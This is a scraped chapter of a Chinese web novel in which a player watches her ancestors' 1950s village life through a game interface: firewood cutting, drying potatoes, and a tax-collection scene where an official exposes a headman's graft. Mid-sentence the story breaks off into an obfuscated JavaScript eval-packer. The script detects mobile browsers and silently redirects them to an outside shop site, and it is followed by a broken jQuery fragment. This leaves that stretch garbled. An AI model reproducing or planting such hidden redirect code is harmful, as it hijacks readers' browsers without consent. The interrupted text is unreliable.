文趣网 > 都市小说 > 从曾外祖开始经营家族 > 13. 交税到县城
    陈宗梨先在山界外围,摊晒着柴火的地方,去巡视查看了一趟。

    点完堆数很满意:“都干透了,也没遭人偷。”

    同时就地取材,砍来藤条或细长有韧性的枝条,充做绳子,把柴火收拢捆好。

    接着才往山里深入一段。

    从杂木、灌木丛生的地方开始,提起镰刀,弯腰唰唰开割。

    遇到粗些的杂木,就用镰刀厚实的尾柄段,扬臂大力劈砍。

    砍倒的柴火木,根据粗细不同,分作硬柴和软柴,大致分开整齐地摊晒在身后。

    等到下次再来,差不多已经晾晒干枯,就能捆了扛回家去。

    途中遇到松树、枞树、椿树等,这些能做木材的树木——

    间距太密的,就挑细小歪脖子的砍了,当作硬柴烧火。

    间距合适的,品相不错的,就留着它们长粗长高。

    以后建房翻新,娶媳嫁女打造家具时,便能派上用场了。

    唰、唰、唰——

    咄、咄、咄——

    涂元晴听着白噪音一般的砍柴声。

    看着她曾外婆动作利落,凭手中一把镰刀蚕食密林,留下身后满山柴火!

    这不和修剪草坪,清理多年无人居住院落的减压视频,看着一样过瘾?

    沉浸式观看好半晌。

    涂元晴才没有再偶尔点击屏幕,以防进入“旁观”模式缩略动作和时间。

    切换视角,回到家里。

    ……

    赵家芳带着两个小娃,在家晒洋芋果果。

    “桃娃儿,我教你。”

    “这种拇指般大的小洋芋,带皮煮了吃,会很麻嘴。”

    “刮皮吃嘛又太小,上不了手,一刮就整个都给刮没了。”

    “就可以在天气好的时候,挑出来淘洗干净,整个煮熟后用冷水泡凉,再剥了皮,整个或者一剖两半,摊开晒几天大太阳,晒成洋芋果果。”

    “洋芋果果经得住久放,吃的时候提前小半天泡发,和腊肉一起炖,不仅不会麻嘴了,还香糯得很!”

    石自桃自清楚记事以来,每年晒洋芋果果的时候,奶奶都会教她一遍。

    她也不觉得啰唆,还是认真地听着:“哦!我记住了。”

    学生懂事好学,赵家芳教得也就开心。

    “还有个头大些的洋芋,也可以煮熟剥皮,厚厚的切成块,晒成洋芋块块。”

    “或者大个洋芋刮皮之后,切成薄片,再焯水到七八成熟,摊开晒成洋芋片片。”

    “洋芋块块和洋芋果果是一样的吃法。至于洋芋片片嘛,可以烧油炸酥起泡,最好撒上白糖,又酥又甜那才是好吃得很!”

    糖是稀罕金贵的东西,油也一样,不管是荤油还是菜籽油,都要精打细算地用。

    记事以来,赵家芳她也只吃过一次撒白糖的炸洋芋片片。

    面对两小娃放光的眼神,赵家芳话锋一转:“不过嘛,洋芋片片还能泡发后炒着吃,尤其是和腊肉一起炒,更好吃!”

    其实还是炸的好吃。

    哪怕不撒白糖,原味的也很好吃。

    两小娃信服地点头:“哦!!”

    石自桃立马建议:“奶奶,那我们今天也晒一些洋芋片片吧?”

    赵家芳摇头笑笑:“洋芋收成好的时候,一时吃不完,害怕放烂了,才会舍得用大个洋芋来晒块块和片片。”

    “也算是为饭桌上添了一道菜。”

    “可是我们今年又不缺菜吃,洋芋也没多到吃不完,晒块块或片片就太抛费了,所以不晒了。”

    过日子嘛,虽然要用心经营,努力过得好些。

    但同样也要精打细算,不抛费糟蹋东西。

    石自桃听后没有痴缠,懂事地点头:“哦,原来是这样啊!我也记住了。”

    生活的智慧,就是这样代代传承。

    涂元晴也想念老家她妈晒的洋芋果果,洋芋块块和洋芋片片了。

    所幸现在网店什么都卖,买点很方便。

    就买洋芋片片——干土豆片吧。

    买回来油炸,再撒白糖。

    涂元晴:年幼的外婆,就让大外孙女先替您尝尝,撒白糖的炸洋芋片片是如何香甜酥脆吧。

    不到晌午。

    一锅拇指头般的小洋芋就在煮熟后,被祖孙三人一起剥皮,摊晒在大圆簸箕里。

    涂元晴点进详细天气预报页面。

    预报显示,未来七天的天气都是晴或多云,无雨的好天时!

    偏东雨的季节也基本过去了,她已能预见两三日后,物资栏和仓库里将会多出:【干土豆粒*XX】。

    在期待收获的心情里,涂元晴再次切换视角。

    跟随进城交农业税的曾外公刘乾国,去看看五十年代的老家县城。

    ……

    巫阳县城位于长江一处江水回弯的岸边。

    坐落于地势较平缓的山脚和山麓地带。

    城下的临江一线,乱中有序地排列着黄泥墙、青黛瓦的房屋。

    循山势而上,踏青石梯进入县城中心。

    飞檐翘角的黛瓦屋顶上,风吹来的或鸟雀带来的草籽生根发芽,滋生几抹绿色。

    其下白墙斑驳,难分是雨痕,还是石灰皮剥落后裸露的青砖。

    高低错落,鳞次栉比。

    残留有一些南方建筑的古韵古味。

    依山而建的县城中,难得一块相较开阔的平地广场之上。

    大片大片的蓝、黑、灰色块里,洒入了象征丰收的金黄色块。

    那是来交农业税的乡镇农民,挑着粮食。

    刘宗金带路,来到往年交纳公粮的地方。

    看到挤挤挨挨,闹闹哄哄的人群,就确认今年没换地方。

    “新国家的军管会,把旧政府包下来了,在肃清整顿之后,成立了新的县政府。”

    刘宗金其实一知半解,但为了显得他见多识广,神情语气间一副高深莫测样儿。

    “我们农民嘛,该交公粮就交公粮,听从新政府的政令就是了。”

    刘发元和刘乾国父子俩和其他人一样,不甚理解。

    但道理没错,他们农民嘛,只管种地交公粮,听上面的话就是。

    刘家湾虽然临江,却前不着村后不着店,离县城偏远得很。

    城里有啥风浪,也波及不到他们。

    刘宗金带着刘家湾的队伍,找到他们乡交公粮的位置,有序地排轮次等候。

    等了差不多两刻钟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940094|213889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,就轮到他们了。

    刘宗金常日板着的一张马脸,顿时就跟川剧变脸似的,谄笑成了一张褶子脸。

    “大人您辛苦了!”

    一看今年登记收税的官儿,不是他以前来往熟识的那位。

    谄媚劲儿便更浓了:“小的在这里给您问好了!”

    “同志!我党和政府的同志,可不兴以前那一套,寻常说话就是。”

    “我姓余,余永,可以称呼我余同志。”

    余永同志一身正气,严肃地纠正了刘宗金。

    刘宗金尴尬地讪笑两声。

    接着又凑近了,压低声音:“那敢问余同志,我们交公粮,还是按照以前的规矩吧?”

    余同志一个后仰,拉开距离:“我们之间,无不可对人言!你正常嗓门说话就好。”

    接着,面向前方人群,高声问道:“什么以前的规矩?现在只有新中国的规矩!”

    “新中国成立后,为减轻农民税负,农业税由原来农业总收入的百分之十七,降为百分之十三!”

    刘宗金脸色微微一变,但因为脸黑且褶子又多,不太明显。

    闻言,竟也连忙高声接上:“降税负好啊!为我们农民减轻负担啊!新中国就是好!”

    自认为面向人群做完表面功夫。

    刘宗金就又急切地不顾余同志先前的话,盯着对方的眼睛。

    挤眉弄眼,狂抛眼色。

    希望能懂他‘有事私下说’的意图。

    余同志接收到了他的眼色,也大概意会了。

    但正因如此,脸色反而越来越差!

    再次面朝人群,简明扼要地继续大声言明:“我们县的农业税,为常年产量的百分之十三,交税的粮食统一为苞谷。”

    刘宗金:“今年地里庄稼产量的百分之十三啊……”

    “砰!”

    刘宗金还想言辞含混、曲解蒙骗,余同志怒而一巴掌拍在桌上!

    咬牙切齿,一字一顿:“常、年、产、量!”

    “综合全县多年产量,计算并决定的、广泛适用于全县农民的、合理数目的常年产量!”

    “若无灾害,或农业生产水平大幅提升,以及政策变更。在三五年之间,只要田地亩数没有增减,各户上交的农业税都会是一个固定的数目,不会今年少、明年多!”

    余同志的目光如刀,刮在刘宗金脸上,似要把他那一张老脸皮剥下来!

    他可太清楚以前农业税里的猫腻了,就像眼前这样:一个领头的农户,和旧政府收税人员勾结,隐瞒剥削农户税粮!

    刘宗金的一张老脸上,有尴尬、惧怕,以及颜面扫地的羞恼。

    总之是笑不出来了。

    讷讷地辩解:“这、这样啊,老头子我年老昏聩,又愚昧无知,从来都是上面啷个说,我们就啷个做……”

    事情暴露,就把责任一推二五六。

    余同志腾地站起身,不愿与他多说。

    指挥道:“一户一户地来,挨个过秤登记。若税粮有多的,就原路挑回家去。”

    刘发元与儿子刘乾国视线交汇。

    后者一脸迷茫,搔搔后脑勺:爸,你看我做啥?

    刘发元:他和这傻娃子真是没话说!